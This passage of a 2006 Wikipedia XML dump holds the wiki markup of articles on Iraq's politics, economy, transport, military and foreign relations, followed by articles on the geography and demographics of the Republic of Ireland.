The Senate will produce three sets of nominations for the Presidency Council and the House of Deputies shall vote on which nomination to elect. The House will have supremacy in financial matters in which the Senate cannot defeat a bill passed by the House and may only delay and propose amendments for 30 days. In other matters the Senate has delaying power of 2 years. The Senate alone can confirm treaties and appointments to federal agencies and departments, high ranking military positions and Justices of the Supreme Court.  

==Political parties and elections==
{{elect|List of political parties in Iraq|Elections in Iraq}}
{{Iraqi legislative election, December 2005}}
:''More info: [[Iraqi legislative election, December 2005]]

==See also==
* [[Reconstruction of Iraq]]
* [[State terrorism#State-specific examples|Human rights abuses in Iraq]]
* [[Post-invasion Iraq, 2003-2005]]

{{Arab_League}}

==External links and references==
* [http://news.bbc.co.uk/1/shared/spl/hi/middle_east/03/post_saddam_iraq/html/default.stm BBC Report: Who's Who in Post-Saddam Iraq]
* [http://iraqelectionwire.blogspot.com/ Iraq Elections newswire]
* [http://atlas-real.atlas.uiuc.edu:8080/ramgen/ips/acdis/acdis_iraq_2005.04.20.rm Video Seminar on Iraq Coalition Politics]: [[April 20]] [[2005]], sponsored by the Program in Arms Control, Disarmament, and International Security at the University of Illinois.
* M. Ismail Marcinkowski, ''Religion and Politics in Iraq. Shiite Clerics between Quietism and Resistance'', with a foreword by Professor Hamid Algar of the University of California at Berkeley. Singapore: Pustaka Nasional, 2004 (ISBN 9971775131)

[[Category:Politics of Iraq|*]]

[[ar:سياسة العراق]]
[[es:Política de Iraq]]
[[pt:Política do Iraque]]
[[sv:Iraks politik]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Iraq</title>
    <id>14668</id>
    <revision>
      <id>42095962</id>
      <timestamp>2006-03-03T20:22:26Z</timestamp>
      <contributor>
        <username>Dismas</username>
        <id>152983</id>
      </contributor>
      <minor />
      <comment>US -&gt; U.S. per MoS#Acronyms and abbreviations</comment>
      <text xml:space="preserve">{{cleanup-date|January 2006}}

{{Economy of Iraq table}}
==Overview==
[[Iraq]]'s economy is dominated by the [[petroleum]] sector, which has traditionally provided about 95% of foreign exchange earnings. In the 1980s, financial problems caused by massive expenditures in the eight-year war with [[Iran]] and damage to oil export facilities by Iran led the government to implement austerity measures, borrow heavily, and later reschedule foreign debt payments; Iraq suffered economic losses of at least $100 [[billion]]  from the war. After the end of hostilities in 1988, oil exports gradually increased with the construction of new pipelines and restoration of damaged facilities.

==Economic sanctions of the 1990s==
Iraqs seizure of [[Kuwait]] in August [[1990]], subsequent [[Iraq sanctions|international economic sanctions]], and damage from military action by an international coalition beginning in January [[1991]] drastically reduced economic activity. The government's policies of supporting large military and internal security forces and of allocating resources to key supporters of the regime have exacerbated shortages. The implementation of the [[UN]]'s [[Oil for Food program]] in December [[1996]] has helped improve economic conditions. For the first six six-month phases of the program, Iraq was allowed to export limited amounts of oil in exchange for food, medicine, and other humanitarian goods. In December 1999, the UN Security Council authorized Iraq to export as much oil as required to meet humanitarian needs. Oil exports are now about three-quarters their prewar level. Per capita food imports have increased significantly, while medical supplies and health care services are steadily improving. Per capita output and living standards are still well below the prewar level, but any estimates have a wide range of error.

Iraq's economy is characterized by a heavy dependence on oil exports and an emphasis on development through central planning. Prior to the outbreak of the war with Iran in September 1980, Iraq's economic prospects were bright. Oil production had reached a level of 560,000 m&amp;sup3; (3.5 million barrels) per day, and oil revenues were 21 billion in 1979 and 27 G$ in 1980. At the outbreak of the war, Iraq had amassed an estimated 35 billion in foreign exchange reserves.

The [[Iran-Iraq War]] depleted Iraq's foreign exchange reserves, devastated its economy, and left the country saddled with a foreign debt of more than $40 billion. After hostilities ceased, oil exports gradually increased with the construction of new pipelines and the restoration of damaged facilities.

Iraq's invasion of [[Kuwait]] in August 1990, subsequent international sanctions, and damage from military action by an international coalition beginning in January 1991 drastically reduced economic activity. Government policies of diverting income to key supporters of the regime while sustaining a large military and internal security force further impaired finances, leaving the average Iraqi citizen facing desperate hardships. Implementation of the UN oil-for-food program in December 1996 improved conditions for the average Iraqi citizen. Since 1999, Iraq was authorized to export unlimited quantities of oil to finance humanitarian needs including food, medicine, and infrastructure repair parts. Oil exports fluctuate as the regime alternately starts and stops exports, but, in general, oil exports have now reached three-quarters of their [[pre-Gulf War levels]]; per capital output and living standards remain well below pre-Gulf War levels.

The economic sanctions were fully lifted in [[24 May]] [[2003]], shortly after Saddam Hussein was overthrown. This resulted in economic growth of 53% topping the list of the world's fastest growing economy.

==Agriculture==
Despite its abundant land and water resources, Iraq is a net food importer. Under the UN [[Oil for Food program]], Iraq imported large quantities of grains, meat, poultry, and dairy products. The government abolished its farm collectivization program in 1981, allowing a greater role for private enterprise in agriculture. The Agricultural Cooperative Bank, capitalized at nearly 1 G$ - by 1984, targets its low-interest, low-collateral loans to private farmers for mechanization, poultry projects, and orchard development. Large modern cattle, [[dairy farming|dairy]], and poultry farms are under construction. Obstacles to agricultural development include labour shortages, inadequate management and maintenance, salinization, urban migration, and dislocations resulting from previous land reform and collectivization programs.

Importation of foreign workers and increased entry of women into traditionally male labour roles have helped compensate for agricultural and industrial labour shortages exacerbated by the war. A disastrous attempt to drain the southern marshes and introduce irrigated farming to this region merely destroyed a natural food producing area, while concentration of salts and minerals in the soil due to the draining left the land unsuitable for agriculture.

==Other statistics==
'''Household income or consumption by percentage share:'''
* ''lowest 10%:'' NA
* ''highest 10%:'' NA

'''Agriculture - products:'''
wheat, barley, rice, vegetables, dates, cotton; cattle, sheep, poultry

'''Industrial production growth rate:'''
NA

'''Electricity:'''
* ''production:'' 32,600 GWh (2004)
* ''consumption:'' 33,700 GWh (2004)
* ''exports:'' 0 kWh (2004)
* ''imports:'' 1,100 GWh (2004)

'''Electricity - production by source:'''
* ''fossil fuel:'' 98.4%
* ''hydro:'' 1.6%
* ''other:'' 0% (2001)
* ''nuclear:'' 0%

'''Oil'''
* ''production:'' 2.25 million barrel/day (2004 est.); note - prewar production (in 2002) was 2.03 million barrel/day (2004 est.)
* ''consumption:'' 383,000 barrel/day (2004 est.)
* ''exports:'' 1.49 million barrel/day (2004 est.)
* ''imports:'' NA
* ''proved reserves:'' 112.5 billion barrel (2004 est.)

'''Natural gas:'''
* ''production:'' 2.35 km&amp;sup3; (2002 est.)
* ''consumption:'' 2.35 km&amp;sup3; (2002 est.)
* ''exports:'' 0 m³ (2004 est.)
* ''imports:'' 0 m³ (2004 est.)
* ''proved reserves:'' 3,149 km³ (2004)

'''Current account balance:'''
$-560 million (2003 est.)

'''Exports - commodities:'''
crude oil (83.9%), crude materials excluding fuels (8.0%), food and live animals (5.0%)

'''Imports - commodities:'''
food, medicine, manufactures

'''Exchange rates:'''
New Iraqi dinars per U.S. dollar - 1,890 (second half, 2003)

==Miscellaneous topics==
* [[Iraq Stock Exchange]]

==External links==
*[http://www.iraqanalysis.org/info/125 Iraq Analysis Economic Development Page] Comprehensive information source listings on the Iraq economy and reconstruction.
*[http://www.iraqieconomy.org Iraqi Economy] Collection of reports and articles.
*[http://www.jubileeiraq.org Jubilee Iraq] Campaign to cancel the large debt and reparations.
*[http://www.iraqrevenuewatch.org Iraq Revenue Watch] A project of the [[Open Society Institute]] (George Soros).

{{OPEC}}

[[Category:Organization of the Petroleum Exporting Countries|Iraq]]
[[Category:Economy of Iraq|Economy of Iraq]]
[[ar:اقتصاد العراق]]
[[es:Economía de Iraq]]
[[sv:Iraks ekonomi]]</text>
    </revision>
  </page>
  <page>
    <title>Transportation in Iraq</title>
    <id>14670</id>
    <revision>
      <id>42026102</id>
      <timestamp>2006-03-03T08:08:44Z</timestamp>
      <contributor>
        <username>Classic 971</username>
        <id>704231</id>
      </contributor>
      <text xml:space="preserve">== Railways ==
&lt;br&gt;''total:''
2,032 km
&lt;br&gt;''standard gauge:''
2,032 km 1.435-m gauge

For more than two decades there have been plans for building a [[metro]] system in [[Baghdad]]. It is possible that part of the [[tunnel]]s have been built, but that they are now used militarily for sheltering, hiding and escaping purposes. U.N. inspectors have heard of the tunnels for years, but have not found their entrances. [http://www.cbsnews.com/stories/2003/02/21/60minutes/main541565.shtml?cmp=EM8707] [http://osamuabe.infoseek.livedoor.com/subway/mappage/constmap/baghdad.jpg map] [http://www.gulflink.osd.mil/declassdocs/dia/19961031/961031_950719_22010825_93a.html] [http://english.pravda.ru/world/2003/01/27/42583.html]

The first [[Iraqi Republic Railways]] train to [[Basra]] since the overthrow of [[Saddam Hussein]]'s regime arrived on [[April 26]] [[2003]]. British troops hope to use the 68 km long railway to transport much-needed aid supplies from the port town of [[Umm Qasr]] to Basra. 

=== Railway links with adjacent countries ===

All adjacent countries use [[standard gauge]] (1435mm) but may vary in [[coupling (railway)]] or [[brake]]s.

* [[Transportation in Turkey|Turkey]] - yes - via Syria
* [[Transportation in Iran|Iran]] - one links partially under construction and a second link planned
** [[Khorramshahr]], [[Iran]], to [[Basra]], [[Iraq]]
** [[Kermanshah]], [[Iran]], and the Iraqi province of [[Diala]]
** see ([http://www.irna.ir/en/news/view/menu-234/0505301394220945.htm]) or [[May 2005 in railways|2005]].
* [[Transportation in Kuwait|Kuwait]] - no railways
* [[Transportation in Saudi Arabia|Saudia Arabia]] - no - same gauge
* [[Transportation in Jordan|Jordan]] - no - partially constructed
* [[Transportation in Syria|Syria]] - yes

== Highways ==
&lt;br&gt;''total:''
45,550 km
&lt;br&gt;''paved:''
38,400 km
&lt;br&gt;''unpaved:''
7,150 km (1996 est.)

== Waterways ==
1,015 km; Shatt al Arab is usually navigable by maritime traffic for about 130 km; channel has been dredged to 3 m and is in use; Tigris and Euphrates Rivers have navigable sections for shallow-draft watercraft; Shatt al Basrah canal was navigable by shallow-draft craft before closing in 1991 because of the Gulf war

== Pipelines ==
crude oil 4,350 km; petroleum products 725 km; natural gas 1,360 km

== Ports and harbors ==
=== Persian Gulf ===

* [[Umm Qasr]]
* [[Khawr az Zubayr]]
* [[Al Basrah]] has limited functionality

== Merchant marine ==
&lt;br&gt;''total:''
32 ships (1,000 GRT or over) totaling 606,227 GRT/1,067,770 DWT
&lt;br&gt;''ships by type:''
cargo 14, passenger 1, passenger/cargo 1, petroleum tanker 13, refrigerated cargo 1, roll-on/roll-off 2 (1999 est.)

== Airports ==
There are about 113 airports. (1999 est.) Major airports include
*[[Baghdad International Airport]]
*[[Basra International Airport]]
*[[Mosul International Airport]]

=== Airports - with paved runways ===
&lt;br&gt;''total:''
80
&lt;br&gt;''over 3,047 m:''
20
&lt;br&gt;''2,438 to 3,047 m:''
39
&lt;br&gt;''1,524 to 2,437 m:''
4
&lt;br&gt;''914 to 1,523 m:''
7
&lt;br&gt;''under 914 m:''
10 (1999 est.)

=== Airports - with unpaved runways ===
&lt;br&gt;''total:''
33
&lt;br&gt;''over 3,047 m:''
3
&lt;br&gt;''2,438 to 3,047 m:''
6
&lt;br&gt;''1,524 to 2,437 m:''
2
&lt;br&gt;''914 to 1,523 m:''
10
&lt;br&gt;''under 914 m:''
12 (1999 est.)

=== Heliports ===
5 (1999 est.)

== See also ==

* [[Iraq]]
* [[Iraqi Republic Railways]]


[[Category:Transportation in Iraq| ]]
[[ar:المواصلات في العراق]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Iraq</title>
    <id>14671</id>
    <revision>
      <id>42112503</id>
      <timestamp>2006-03-03T22:25:04Z</timestamp>
      <contributor>
        <ip>24.8.152.73</ip>
      </contributor>
      <comment>/* [[New Iraqi Army]] */</comment>
      <text xml:space="preserve">[[Image:IraqiArmy.jpg|thumb|right|300px|Iraqi soldiers from the 2nd Iraqi Army Brigade, train on cordon and search procedures at [[Diyala]] Regional Training Facility in August 2005.]]
The '''military of Iraq''' is the [[armed forces]] of [[Iraq]], consisting of the [[New Iraqi Army]], the [[Iraqi Air Force]], and the [[Iraqi Coastal Defense Force]].  Iraq is currently rebuilding its [[military]] after the [[2003 Invasion of Iraq]].

==History==
The [[Iran-Iraq War]] ended with [[Iraq]] supporting the largest military of the [[Middle East]], with more than 70 [[army]] [[division (military)|division]]s and over 700 aircraft within its [[air force]]. Losses during the invasion of [[Kuwait]] and the subsequent ejection of Iraqi forces from Kuwait by a [[United Nations]] coalition resulted in the reduction of Iraq's ground forces to 23 divisions and the air force to less than 300 aircraft. Military and economic sanctions prevent Iraq from rebuilding its military power, however, Iraq still maintained a standing military of about 375,000 troops. It was during the late 80's until 1991 the worlds 4th biggest, only beaten by USA, Soviet Union and China.

In the [[1980s]] and [[1990s]], Iraq had an arsenal of chemical and biological weapons. [[UN weapons inspectors]] probably destroyed all of them. During new [[disarmament of Iraq|weapons inspections]] in [[2003]], United Nations weapons inspectors led by [[Hans Blix]], searched Iraqi sites again, but found no new weapons. In late [[2003]], an [[United States|American]]-led [[military alliance|coalition]] [[2003 invasion of Iraq|invaded]] and [[U.S.-led occupation of Iraq|occupied]] Iraq. After a year-long investigation by an American weapons inspections team, headed by [[David Kay]], found that no large stockpiles of weapons of mass destruction (though a clandestine network of laboratories did exist). 

===Order of battle (pre-2003)===
Before [[January 10]], [[2003]], the Iraqi Army fielded at least 11 [[infantry]], 3 [[mechanized]], and 3 [[tank|armored]] divisions. In addition, the [[Iraqi Republican Guard]] fielded 3 [[tank|armored]] divisions, 2 [[mechanized]] divisions, and 1 motorized infantry division, while the [[Iraqi Republican Guard|Special Republican Guard]] fielded 6 brigades, including two tank brigades and an anti-aircraft brigade.. 

*[[Iraqi Republican Guard|Republican Guard]] (RG)-- 80-100,000 troops located along the [[Tigris]], to the north and south of [[Baghdad]]
*[[Iraqi Republican Guard|Special Republican Guard]] (SRG) -- 15-20,000 troops located along the Tigris, just south of Baghdad
*[[Iraqi Regular Army|Regular Army]] -- 375,000 troops located primarily in eastern Iraq 
*Iraqi [[Special forces|Special Forces]] -- Six brigades
*[[Fedayeen Saddam]] and other paramilitary forces 

====Iraq equipment====
Number of equipment as of 2003 is presented inside parenthesis.

'''Tanks (Total: 2,200)'''

The Iraqi tank forces consist mainly of old [[Soviet Union|Soviet]] gear. The Type-69/59 are [[China|Chinese]] copies of the Soviet T-55/54 tanks. (see [[List of Soviet tanks]])

*[[T-72]] (700)
*[[T-62]] (500)
*[[T-55|T-55/54]] (500)
*[[Type 69/79|Type-69]] (350)
*[[Type 59|Type-59]] (150)

'''AIFV/APCs (Total: 3,800)'''

*[[Panhard AML|AML-60/-90]] (300+)
*[[BMP-1|BMP-1/-2]] (900)
*BRDM-2 (1300+)
*EE-9 (600+)
*EE-3 (300+)
*FV-601 (100+)
*FV-701 (90+)
*[[PT-76]] (100)
*[[MT-LB]] (1,500+)
*YW-531 (1,000+)

'''Towed Artillery (Total: 1,900)'''

*M-56 105 mm
*D-74 122 mm
*D-30 122 mm (100+)
*M-1938 122 mm (400+)
*M-46 130 mm
*Type-59-1 130 mm
*M-1937 152 mm
*M-1943 152 mm
*[[G5 howitzer|G-5 155 mm]] (100+)
*[[GC-45 howitzer|GHN-45 155 mm]] (200+)
*M-114 155 mm

'''Self-Propelled Artillery (Total: 150)'''

*[[2S1 122 mm|2S1 SP 122 mm]]
*2S3 SP 152 mm
*[[M109 howitzer|M-109A1/A2 SP 155 mm]]
*AUF-1 SP 155 mm (85+)
*Majnoon SP 155 mm
*[[Al-Fao|Al Fao SP 210 mm]]

'''Multiple Rocket Launchers (Total: 200)'''

*BM-21 MRL 122 mm
*ASTROS II MRL 127 mm (60+)
*BM-13/-16 MRL 132 mm
*ASTROS SS-30 MRL 180 mm
*Ababeel-50 MRL 262 mm (50+)
*ASTROS SS-60 300 mm

'''Surface-to-Surface Missiles'''

*Frog-7 (50)
*[[Scud|Scud-B]] (27?)
*[[Al Abbas]]
*[[Al Hussein]]
*[[Al-Samoud_2|Al Samoud]]

'''Fighters'''

The J-7 is a Chinese copy of the MiG-21.

*[[Dassault Mirage F1]]
*[[Sukhoi Su-22|Su-20/Su-22]]
*[[Sukhoi Su-25]]
*[[Mikoyan-Gurevich MiG-21]]
*[[Mikoyan-Gurevich MiG-23]]
*[[Mikoyan-Gurevich MiG-25]]
*[[Mikoyan-Gurevich MiG-29]]
*[[J-7]]

'''Surface-to-Air Missiles'''

*Crotale
*Roland
*[[SA-2 Guideline]]
*SA-3
*[[SA-7|SA-7 Grail]] 
*SA-6
*SA-9

==Statistics==
'''Military branches:'''
[[Army]], [[Navy]], [[Air Force]], [[Air Defense Force]], [[Border Guard Force]] (Historical - [[Republican Guard]], [[Fedayeen Saddam]])

'''Military manpower - military age:'''
18 years of age

'''Military manpower - availability:'''
&lt;br&gt;''males age 15-49:''
5,674,990 (2000 est.)

'''Military manpower - fit for military service:'''
&lt;br&gt;''males age 15-49:''
3,176,826 (2000 est.)

'''Military manpower - reaching military age annually:'''
&lt;br&gt;''males:''
266,736 (2000 est.)

'''Military expenditures - dollar figure:'''
$NA

'''Military expenditures - percent of GDP:'''
NA%

== Current order of battle ==

=== [[New Iraqi Army]] ===
1 Div:    Fallujah    (aka IIF)
-1 Bde  
-2 Bde   
-3 Bde      
-4 Bde
 
2 Div:    Mosul  
-1 Bde      
-2 Bde     
-3 Bde        
-4 Bde 

3 Div:    Yethrib  
-1 Bde        
-2 Bde               
-3 Bde  
  
4 Div:    Tikrit 
-1 Bde        
-2 Bde           
-4 Bde 

5 Div:     Balad            
-1 Bde                          
-2 Bde
-(3 Bde forming)  
 
6 Div:     Bagdad       (Div certified)   
-1 Bde         
-2 Bde           
-3 Bde          
-5 Bde        
                
7 Div:     West Al Anbar Province           
-1 Bde                
-2 Bde 
-(3 Bde forming)    
     
8 Div:     Al Kut        (Div certified) 
-1 Bde       
-2 Bde
-3 Bde          
                                    
9 Mech Div: Taji  (77 T72/10 T55/32 MTLB/100 BMP1/(180 M113 enr))
-1 Mech Bde 
-2 Arm Bde                     
-(3 Mech Bde planned)

10 Div:     Basrah
-1 Bde
-2 Bde
-(3 Bde forming)

Division unidentified or independent units:
SOF Bde (36 Cdo Bn, CT Bn, Support Bn)
1 Cdo Bde 
2 Bde 
3 Bde 
4 Bde 
40 Bde 
41 Bde
201 Bn
202 Bn
203 Bn
205 Bn

=== [[Iraqi Air Force]] ===

* '''[[Iraqi 2nd Squadron]]'''
* '''[[Iraqi 3rd Squadron]]'''
* '''[[Iraqi 4th Squadron]]'''
* '''[[Iraqi 23rd Squadron]]'''
* '''[[Iraqi 70th Squadron]]'''

=== [[Iraqi Coastal Defense Force]] ===

* '''[[Iraqi Patrol Boat Squadron]]'''
* '''[[Iraqi Naval Infantry Regiment]]'''
* '''[[Iraqi Riverine Patrol Service]]'''

==References and Links==
* [[Iraq]]
* [[New Iraqi Army]]
* [[2003 invasion of Iraq|US plan to invade Iraq]]
* [[Iraqi production and use of weapons of mass destruction]]
* [http://www.csis.org/features/iraq.htm Information on Iraqi military]

[[Category:Military of Iraq|*]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Iraq</title>
    <id>14672</id>
    <revision>
      <id>35558781</id>
      <timestamp>2006-01-17T17:16:56Z</timestamp>
      <contributor>
        <ip>64.119.142.162</ip>
      </contributor>
      <text xml:space="preserve">'''This information is seriously out of date and gives nothing on the foreign policy of post-Saddam Iraq.  Please update... ''' (I don't know the outdated template.)

[[Iraq]]i-[[Iran]]ian relations have remained cool since the end of the [[Iraq-Iran War]] in [[1988]]. Outstanding issues from that war, including prisoner of war exchanges and support of armed opposition parties operating in each other’s territory, remain to be solved.

Iraq’s relations with the Arab world have been extremely varied. [[Egypt]] broke relations with Iraq in [[1977]], following Iraq’s criticism of President [[Anwar Sadat]]’s peace initiatives with [[Israel]]. In 1978, [[Baghdad]] hosted an [[Arab League]] summit that condemned and ostracized Egypt for accepting the [[Camp David accords]]. However, Egypt’s strong material and diplomatic support for Iraq in the war with Iran led to warmer relations and numerous contacts between senior officials, despite the continued absence of ambassadorial-level representation. Since 1983, Iraq has repeatedly called for restoration of Egypt’s “natural role” among Arab countries. In January 1984, Iraq successfully led Arab efforts within the OIC to restore Egypt’s membership. However, Iraqi-Egyptian relations were broken in 1990 after Egypt joined the UN coalition that forced Iraq out of Kuwait. Relations have steadily improved in recent years, and Egypt is now one of Iraq’s main trade partners (formerly under the [[Oil-for-Food Programme]]).

Relations with [[Syria]] have been marred by traditional rivalry for pre-eminence in Arab affairs, allegations of involvement in each other’s internal politics, and disputes over the waters of [[Euphrates River]], oil transit fees, and stances toward [[Israel]]. Syria broke relations after Iraq invaded [[Kuwait]] in 1990 and joined other Arab countries in sending military forces to the coalition that forced Iraq out of Kuwait. Relations remained cool until [[Bashar al-Asad]] became President of Syria in 2000. Economic ties based on illicit oil smuggling have strengthened, but politically the relationship remains distant.

Iraq’s relations with [[Jordan]] have improved significantly since 1980, when Jordan declared its support for Iraq at the outset of the Iran-Iraq war. Jordan’s support for Iraq during the Gulf War resulted in a further improvement of ties. Relations have cooled since the current King of Jordan took office in 2000, but remain good.

Iraq’s invasion of Kuwait in 1990 resulted in Kuwait, Saudi Arabia, and most [[Gulf states]] severing relations with Baghdad and joining the [[United Nations]] coalition that forced Iraqi forces out of Kuwait during the [[Gulf War]]. Iraq’s refusal to implement [[UN Security Council Resolutions]] and continued threats toward Kuwait have resulted in relations remaining cool.

Iraq participated in the Arab-Israeli wars of 1948, 1967 and 1973, and traditionally has opposed all attempts to reach a peaceful settlement between Israel and the Arab States. Israel attacked Iraq’s nuclear research reactor under construction near Baghdad in July 1981. During the Iran-Iraq war, Iraq moderated its anti-Israel stance considerably. In August 1982 President Hussein stated to a visiting U.S. Congressman that “a secure state is necessary for both Israel and the Palestinians.” Iraq did not oppose then President Reagan’s [[September 1]], [[1982]] Arab-Israeli peace initiative, and it supported the moderate Arab position at the Fez summit that same month. Iraq repeatedly stated that it would support whatever settlement is found acceptable by the [[Palestinian]]s. However, after the end of the Iran-Iraq war in 1988, Iraq reverted to more stridently anti-Israel statements. During the Gulf War, Iraq fired Scud missiles at Israeli civilian targets in an attempt to divide the U.S. coalition, and, since the end of the Gulf War, Iraq has embraced the most extreme Arab hardline anti-Israel position, including periodically calling for the total elimination of Israel.

Iraq belongs to the following international organizations: UN and some of its specialized agencies, including the [[World Bank]], [[International Monetary Fund]] (IMF), [[International Atomic Energy Agency]] (IAEA); [[Nonaligned Movement]]; [[Organization of the Islamic Conference]] (OIC); [[Arab League]]; [[Organization of Petroleum Exporting Countries]] (OPEC); [[Organization of Arab Petroleum Exporting Countries]] (OAPEC); [[Interpol]]; [[World Health Organization]] (WHO); [[G-19]]; [[G-77]]. 

'''Disputes - international:'''
Iran and Iraq restored diplomatic relations in 1990 but are still trying to work out written agreements settling outstanding disputes from their eight-year war concerning border demarcation, prisoners-of-war, and freedom of navigation and sovereignty over the Shatt al Arab waterway; in November 1994, Iraq formally accepted the UN-demarcated border with Kuwait which had been spelled out in Security Council Resolutions 687 (1991), 773 (1993), and 883 (1993); this formally ends earlier claims to Kuwait and to Bubiyan and Warbah islands although the government continues periodic rhetorical challenges; dispute over water development plans by Turkey for the Tigris and Euphrates rivers

===See also===
*[[Iraq]]
*[[2003 invasion of Iraq|U.S. plan to invade Iraq]]
*[[Disarmament of Iraq]]

[[Category:Foreign relations of Iraq| ]]
[[Category:Foreign relations by country|Iraq, Foreign affairs of]]</text>
    </revision>
  </page>
  <page>
    <title>Ireland/History</title>
    <id>14674</id>
    <revision>
      <id>15912210</id>
      <timestamp>2002-06-13T22:44:11Z</timestamp>
      <contributor>
        <username>Danny</username>
        <id>584</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of Ireland]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of the Republic of Ireland</title>
    <id>14675</id>
    <revision>
      <id>39079876</id>
      <timestamp>2006-02-10T16:02:20Z</timestamp>
      <contributor>
        <username>Mel Etitis</username>
        <id>159495</id>
      </contributor>
      <minor />
      <comment>wikilink</comment>
      <text xml:space="preserve">'''Location:'''
[[Western Europe]], occupying five-sixths of the [[Ireland|island of Ireland]] in the North [[Atlantic Ocean]], west of [[Great Britain]]

[[Image:Ei-map.png|right|Map of Ireland]]

'''Geographic coordinates:'''
53° N, 8° W

'''Map references:'''
[[Europe]]

'''Area:'''
&lt;br&gt;''total:''
[[1 E10 m²|70,280]] [[square kilometre|km²]]
&lt;br&gt;''land:''
68,890 km²
&lt;br&gt;''water:''
1,390 km²

'''Area - comparative:'''
slightly larger than West Virginia

'''Land boundaries:'''
&lt;br&gt;''total:''
360 [[kilometre|km]]
&lt;br&gt;''border countries:''
[[United Kingdom]] 360 km

'''Coastline:'''
1,448 km

'''Maritime claims:'''
&lt;br&gt;''continental shelf:''
not specified
&lt;br&gt;''exclusive fishing zone:''
[[1 E5 m|370]] km (200 [[nautical mile|nm]])
&lt;br&gt;''territorial sea:''
[[1 E4 m|22]] km (12 nm)

'''Climate:'''
temperate maritime; modified by [[North Atlantic Current]]; mild winters, cool summers; consistently humid; overcast about half the time

'''Terrain:'''
mostly level to rolling interior plain surrounded by rugged hills and low mountains; sea cliffs on west coast

'''Elevation extremes:'''
&lt;br&gt;''lowest point:''
Atlantic Ocean 0 m
&lt;br&gt;''highest point:''
[[Carrauntoohill|Carrauntoohil]] [[1 E3 m|1,041]] m

'''Natural resources:'''
[[zinc]], [[lead]], natural [[gas]], [[barite]], [[copper]], [[gypsum]], [[limestone]], [[dolomite]], [[peat]], [[silver]]

[[image:www.wesleyjohnston.com-users-ireland-maps-island_agriculture.gif]]

'''Land use:'''
&lt;br&gt;''arable land:''
15.2%
&lt;br&gt;''permanent crops:''
0.03%
&lt;br&gt;''other:''
84.77% (2001 est.)

'''Irrigated land:'''
NA

'''Natural hazards:'''
NA

'''Environment - current issues:'''
water pollution, especially of lakes, from agricultural runoff

'''Environment - international agreements the Republic of Ireland is party to:'''

Air Pollution, Air Pollution-Nitrogen Oxides, Air Pollution-Sulphur 94, Biodiversity, Climate Change, Desertification, Environmental Modification, Hazardous Wastes, Law of the Sea, Marine Dumping, Nuclear Test Ban, Ozone Layer Protection, Ship Pollution, Tropical Timber 83, Wetlands, Whaling
&lt;br&gt;''signed, but not ratified:''
Air Pollution-Persistent Organic Pollutants, Climate Change-Kyoto Protocol, Endangered Species, Marine Life Conservation, Tropical Timber 94

'''Geography - note:'''
strategic location on major air and sea routes between [[North America]] and northern Europe; over 40% of the population resides within 97 km of [[Dublin]]

==See also==
*[[Irish topics]]
*[[Geology of the Republic of Ireland]]
*[[Geography of Ireland]]
*[[Heritage sites (Republic of Ireland)]]
----
Maps from http://www.irelandstory.com

[[Category:Republic of Ireland|Ireland, Republic of]]
[[Category:Geography by country|Ireland]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of the Republic of Ireland</title>
    <id>14676</id>
    <revision>
      <id>41189959</id>
      <timestamp>2006-02-25T17:43:15Z</timestamp>
      <contributor>
        <ip>65.25.218.174</ip>
      </contributor>
      <comment>/* Religion */</comment>
      <text xml:space="preserve">The Irish people are mainly of indigenous and [[Celts|Celtic]] origin, with the country's only significant minorities having descended from the [[Vikings]] and [[Anglo-Normans]]. Some are also of [[England|English]], [[Scotland|Scottish]], and [[Wales|Welsh]] descent. 

For centuries a nation of emigrants, Ireland from the 1990s has attracted immigrants from a number of nations both within Europe and elsewhere.

==Language==

The [[official language]]s are [[Irish language|Irish]] ([[Gaeilge]]) and English. However, English is the predominant language used today. People living in Irish-speaking communities are limited to the low hundreds of thousands in isolated pockets largely on the Western seaboard and in Dublin and other urban areas. All schoolchildren are taught the Irish language as a compulsory part of the school curriculum with a relatively small (though growing) number of schools teaching all subjects in Irish. Public signs are usually bilingual and there are both a national Irish language TV ([[TG4]]) and radio channel ([[Raidió na Gaeltachta]]). The [[Shelta language]] is spoken by anywhere between 6000 and 25000 people, but has no official status.

==Religion==

The Republic of Ireland is officially 88.4% Roman Catholic. However there has been a massive decline in adherence to [[Roman Catholicism]] among Irish Catholics. Between 1996 and 2001, regular [[Roman Catholic Mass|Mass]] attendance, already previously in decline, declined from 60% to 48%. (It had been 90%+ in [[1973]].) 

All but two of its priest-training seminaries have either closed or are expected to close soon. The Roman Catholic Church was hit in the 1990s by a series of sexual scandals, including the resignation of one bishop who had fathered a child by a divorced cousin and the notorious case of child sexual abuser [[Fr. Brendan Smyth]]. In recent years, another bishop has been forced to resign over his incompetent handling of paedophile priests in his diocese.  

The second largest religion, the [[Church of Ireland]] ([[Anglican]]), with a largely elderly membership, had until recently been in decline. It had been forced to close down many of its rural churches, and even some in urban areas. However, recent immigration of thousands of [[African]] Anglicans has buoyed the Church's following. A similar phenomenon is also affecting the very small Jewish community in Ireland, which is ageing and sees many of its younger adherents emigrating to [[Israel]]. The religions showing major growth are [[Islam]] (See [[Islam in Ireland]]) and small [[born-again]] [[Christian]] faiths associated with Ireland's growing immigrant communities. 

The country also has a small [[History of the Jews in Ireland|Jewish community]] with 1,790 members, according to the [[census]] of 2002.

'''Population:'''
4,130,700 (April 2005 est.)

'''Age structure:'''
&lt;br&gt;''0-14 years:''
20.6% (male 438,100; female 415,200)
&lt;br&gt;''15-64 years:''
68.14% (male 1,418,600; female 1,398,300)
&lt;br&gt;''65 years and over:''
11.15% (male 202,300; female 258,300) (2005 est.)

'''Population growth rate:'''
1.16% (2004 est.)

'''Birth rate:'''
14.47 births/1,000 population (2004 est.)

'''Death rate:'''
7.91 deaths/1,000 population (2004 est.)

'''Net migration rate:'''
4.99 migrant(s)/1,000 population (2004 est.)

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.07 male(s)/female
&lt;br&gt;''under 15 years:''
1.07 male(s)/female
&lt;br&gt;''15-64 years:''
1 male(s)/female
&lt;br&gt;''65 years and over:''
0.78 male(s)/female
&lt;br&gt;''total population:''
0.99 male(s)/female (2004 est.)

'''Infant mortality rate:'''
&lt;br&gt;''total:''
5.5 deaths/1,000 live births 
&lt;br&gt;''male:''
6.04 deaths/1,000 live births 
&lt;br&gt;''female:''
4.92 deaths/1,000 live births (2004 est.)

